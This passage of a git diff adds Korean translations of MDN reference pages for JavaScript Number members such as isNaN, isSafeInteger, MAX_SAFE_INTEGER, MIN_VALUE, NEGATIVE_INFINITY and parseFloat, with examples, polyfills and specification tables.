+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("NaN")}}이 <code>NaN</code>인지 계산할 때, 두 동일 연산자 <code>==</code>과 <code>===</code> 모두 <code>false</code>로 평가되므로 값의 <code>NaN</code> 여부를 알아내려면 <code>Number.isNaN()</code>이 필요합니다. 이 상황은 다른 모든 JavaScript와 다른 특별한 경우입니다.</p>
+
+<p>전역 {{jsxref("isNaN", "isNaN()")}} 함수와 달리, <code>Number.isNaN()</code>은 강제로 매개변수를 숫자로 변환하는 문제를 겪지 않습니다. 이는 이제 보통{{jsxref("NaN")}}으로 변환됐을 값이 안전하게 전달되지만, 실제로는 {{jsxref("NaN")}}과 같은 값이 아님을 의미합니다. 이는 또한 오직 숫자형이고 또한 {{jsxref("NaN")}}인 값만이 <code>true</code>를 반환함을 뜻합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.isNaN(NaN);        // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0)       // true
+
+// 예를 들면 이들은 global isNaN()으로는 true가 됐을 것임
+Number.isNaN("NaN");      // false
+Number.isNaN(undefined);  // false
+Number.isNaN({});         // false
+Number.isNaN("blabla");   // false
+
+// 모두
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN("37");
+Number.isNaN("37.37");
+Number.isNaN("");
+Number.isNaN(" ");
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+    return value !== value;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.isNaN")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html
new file mode 100644
index 0000000000..8c1af0e54d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.isSafeInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isSafeInteger()</code></strong> 메서드는 전달된 값이 안전한 정숫값인지 확인합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}</div>
+
+
+
+<p>안전한 정숫값이란 다음과 같습니다.</p>
+
+<ul>
+ <li>IEEE-754 배정도수 형태로 정확히 표현될 수 있는 수이고</li>
+ <li>IEEE-754 표현에 맞게 반올림하는 다른 정수의 결과가 아닌 IEEE-754 표현.</li>
+</ul>
+
+<p>예를 들어, <code>2<sup>53</sup> - 1</code>은 안전한 정수입니다. 이 정수는 정확히 표현될 수 있으며, IEEE-754 반올림 모드에서 다른 정숫값이 이 값을 반올림하지 않습니다. 반면에, <code>2<sup>53</sup></code> 는 안전하지 않은 정수입니다. 이 정수는 정확히 IEEE-754로 표현될 수 있지만, 정수 <code>2<sup>53</sup> + 1</code>은 IEEE-754로 직접 표현될 수 없으며 가까운 수로 반올림하는 것과 0으로 반올림하는 것으로 <code>2<sup>53 </sup></code>을 반올림합니다.</p>
+
+<p>안전한 정숫값은 <code>-(2<sup>53</sup> - 1)</code> 부터 <code>2<sup>53</sup> - 1</code> 사이의 모든 정수값으로 구성됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isSafeInteger(<var>testValue</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>안전한 정수인지 확인할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 안전한 정숫값인지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">Number.isSafeInteger(3);                    // true
+Number.isSafeInteger(Math.pow(2, 53));      // false
+Number.isSafeInteger(Math.pow(2, 53) - 1);  // true
+Number.isSafeInteger(NaN);                  // false
+Number.isSafeInteger(Infinity);             // false
+Number.isSafeInteger('3');                  // false
+Number.isSafeInteger(3.1);                  // false
+Number.isSafeInteger(3.0);                  // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isSafeInteger = Number.isSafeInteger || function (value) {
+   return Number.isInteger(value) &amp;&amp; Math.abs(value) &lt;= Number.MAX_SAFE_INTEGER;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.isSafeInteger")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html b/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html
new file mode 100644
index 0000000000..c8b4d679d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html
@@ -0,0 +1,76 @@
+---
+title: Number.MAX_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MAX_SAFE_INTEGER</code></strong> 상수는 JavaScript에서 안전한 최대 정수값을 나타냅니다. (<code>2<sup>53</sup> - 1</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MAX_SAFE_INTEGER</code> 상수는 <code>9007199254740991</code>(9,007,199,254,740,991 또는 약 9000조)의 값을 갖고 있습니다. 이 값의 이유는 JavaScript가 <a href="http://en.wikipedia.org/wiki/IEEE_floating_point">IEEE 754</a>에 기술된 <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">배정밀도 부동소숫점 형식 숫자체계</a>를 사용하기 때문으로, 이로 인해 <code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 수만 안전하게 표현할 수 있습니다.</p>
+
+<p>여기서의 안전함이란 정수를 정확하고 올바르게 비교할 수 있음을 의미합니다. 예를 들어 <code>Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2</code>는 참으로 평가되며 이는 수학적으로 올바르지 않습니다. 더 자세한 내용은 {{jsxref("Number.isSafeInteger()")}}를 참고하세요.</p>
+
+<p><code>MAX_SAFE_INTEGER</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MAX_SAFE_INTEGER</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.MAX_SAFE_INTEGER // 9007199254740991
+Number.MAX_SAFE_INTEGER * Number.EPSILON // 2 because in floating points, the value is actually the decimal trailing "1"
+                                         // except for in subnormal precision cases such as zero
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js"><code>if (!Number.MAX_SAFE_INTEGER) {
+    Number.MAX_SAFE_INTEGER = Math.pow(2, 53) - 1; // 9007199254740991
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/max_value/index.html b/files/ko/web/javascript/reference/global_objects/number/max_value/index.html
new file mode 100644
index 0000000000..c80ae8f84a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/max_value/index.html
@@ -0,0 +1,81 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MAX_VALUE</code></strong> 속성은 JavaScript가 표현할 수 있는 제일 큰 양의 숫자 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxvalue.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MAX_VALUE</code>의 값은 약 <code>1.79E+308</code>, 2<sup>1024</sup>입니다. <code>MAX_VALUE</code>보다 큰 값은 {{jsxref("Infinity")}}로 표현됩니다.</p>
+
+<p><code>MAX_VALUE</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MAX_VALUE</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="MAX_VALUE_사용하기"><code>MAX_VALUE</code> 사용하기</h3>
+
+<p>다음 코드는 두 개의 수를 곱합니다. 만약 결과가 <code>MAX_VALUE</code> 이하면 <code>func1</code>을 호출하고, 그렇지 않으면 <code>func2</code>를 호출합니다.</p>
+
+<pre class="brush: js">if (num1 * num2 &lt;= Number.MAX_VALUE) {
+  func1();
+} else {
+  func2();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.MAX_VALUE")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html b/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html
new file mode 100644
index 0000000000..67efd0e681
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html
@@ -0,0 +1,66 @@
+---
+title: Number.MIN_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MIN_SAFE_INTEGER</code></strong> 상수는 JavaScript에서 안전한 최소 정수값을 나타냅니다. (<code>-(2<sup>53</sup> - 1)</code>)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-safe-integer.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MIN_SAFE_INTEGER</code> 상수는 <code>-9007199254740991</code>(-9,007,199,254,740,991 또는 약 -9000조)의 값을 갖고 있습니다. 이 값의 이유는 JavaScript가 <a href="http://en.wikipedia.org/wiki/IEEE_floating_point">IEEE 754</a>에 기술된 <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">배정밀도 부동소숫점 형식 숫자체계</a>를 사용하기 때문으로, 이로 인해 <code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 수만 안전하게 표현할 수 있습니다.</p>
+
+<p><code>MIN_SAFE_INTEGER</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MIN_SAFE_INTEGER</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="설명_2">설명</h2>
+
+<pre class="brush: js">Number.MIN_SAFE_INTEGER // -9007199254740991
+-(Math.pow(2, 53) - 1)  // -9007199254740991
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_SAFE_INTEGER")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/min_value/index.html b/files/ko/web/javascript/reference/global_objects/number/min_value/index.html
new file mode 100644
index 0000000000..66b4985942
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/min_value/index.html
@@ -0,0 +1,84 @@
+---
+title: Number.MIN_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MIN_VALUE</code></strong> 속성은 JavaScript가 표현할 수 있는 제일 작은 양의 숫자 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-value.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MIN_VALUE</code> 속성은 JavaScript에서 표현할 수 있는, 0에 가장 가깝지만 음수는 아닌 수입니다.</p>
+
+<p><code>MIN_VALUE</code>의 값은 약 <code>5e-324</code>입니다. <code>MIN_VALUE</code>보다 작은 값("언더플로우 값")은 0으로 변환됩니다.</p>
+
+<p><code>MIN_VALUE</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MIN_VALUE</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="MIN_VALUE_사용하기"><code>MIN_VALUE</code> 사용하기</h3>
+
+<p>다음 코드는 숫자를 두 개의 수를 받아 나누기 연산을 합니다. 만약 결과가 <code>MIN_VALUE</code> 보다 크거나 같으면 <code>func1</code> 함수를 호출하고, 그렇지 않으면 <code>func2</code> 함수를 호출합니다.</p>
+
+<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+  func1();
+} else {
+  func2();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_VALUE")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/nan/index.html b/files/ko/web/javascript/reference/global_objects/number/nan/index.html
new file mode 100644
index 0000000000..348820c376
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/nan/index.html
@@ -0,0 +1,62 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Reference/Global_Objects/Number/NaN
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.NaN</code></strong> 속성은 Not-A-Number(숫자가 아님)를 나타냅니다. {{jsxref("NaN")}}과 같습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/number-nan.html")}}<br>
+ 정적 속성이므로 접근하기 위해 {{jsxref("Number")}} 객체를 생성할 필요는 없습니다. (<code>Number.NaN</code> 사용)</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.NaN")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>전역 {{jsxref("NaN")}} 객체.</li>
+ <li>본 속성이 속한 {{jsxref("Number")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html
new file mode 100644
index 0000000000..d6567e687e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html
@@ -0,0 +1,82 @@
+---
+title: Number.NEGATIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.NEGATIVE_INFINITY</code></strong> 속성은 음의 무한대를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-negative-infinity.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.NEGATIVE_INFINITY</code>의 값은 전역 객체 {{jsxref("Infinity")}} 속성의 부호를 바꾼 값과 동일합니다.</p>
+
+<p><code>NEGATIVE_INFINITY</code>는 수학에서의 무한대와 약간 다릅니다.</p>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}를 포함한 아무 양의 수와 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를 포함한 아무 음의 수와 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}입니다.</li>
+ <li>아무 양의 수를 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 음의 부호를 가진 0입니다.</li>
+ <li>아무 음의 수를 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 0입니다.</li>
+ <li>0을 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li>{{jsxref("NaN")}}에 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를, <code>NEGATIVE_INFINITY</code>를 제외한 아무 음의 수로 나눈 결과는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를, {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}를 제외한 아무 양의 수로 나눈 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를 <code>NEGATIVE_INFINITY</code> 또는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+</ul>
+
+<p><code>Number.NEGATIVE_INFINITY</code>를 사용해 성공 시 유한수를 반환하는 식의 결과를 판별할 수 있습니다. 그러나 이런 경우 {{jsxref("isFinite", "isFinite()")}}를 사용하는 편이 더 적합합니다.</p>
+
+<p><code>NEGATIVE_INFINITY</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.NEGATIVE_INFINITY</code>의 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="NEGATIVE_INFINITY_사용하기"><code>NEGATIVE_INFINITY</code> 사용하기</h3>
+
+<p>다음 코드에서 <code>smallNumber</code>는 JavaScript의 최솟값보다 작은 값을 할당받습니다. {{jsxref("Statements/if...else", "if")}} 문이 실행되면, <code>smallNumber</code>의 값이 <code>-Infinity</code>이므로 <code>smallNumber</code>는 계산에 좀 더 적합한 값을 다시 할당합니다.</p>
+
+<pre class="brush: js notranslate">var smallNumber = (-Number.MAX_VALUE) * 2;
+
+if (smallNumber === Number.NEGATIVE_INFINITY) {
+  smallNumber = returnFinite();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html b/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html
new file mode 100644
index 0000000000..763c28a42d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html
@@ -0,0 +1,79 @@
+---
+title: Number.parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.parseFloat()</code></strong> 메서드는 문자열을 분석해 부동소수점 실수로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.parseFloat(<var>string</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "매개변수")}}</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "반환 값")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.parseFloat()</code> 메서드는 전역 {{jsxref("parseFloat", "parseFloat()")}} 함수와 같은 기능을 가지고 있습니다.</p>
+
+<pre>Number.parseFloat === parseFloat; // true</pre>
+
+<p><code>Number.parseFloat()는</code> ECMAScript 2015에서 전역 범위의 모듈화를 위해 추가됐습니다. 상세한 정보와 예제는 {{jsxref("parseFloat", "parseFloat()")}}를 참고하세요.</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.parseFloat === undefined) {
+    Number.parseFloat = parseFloat;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
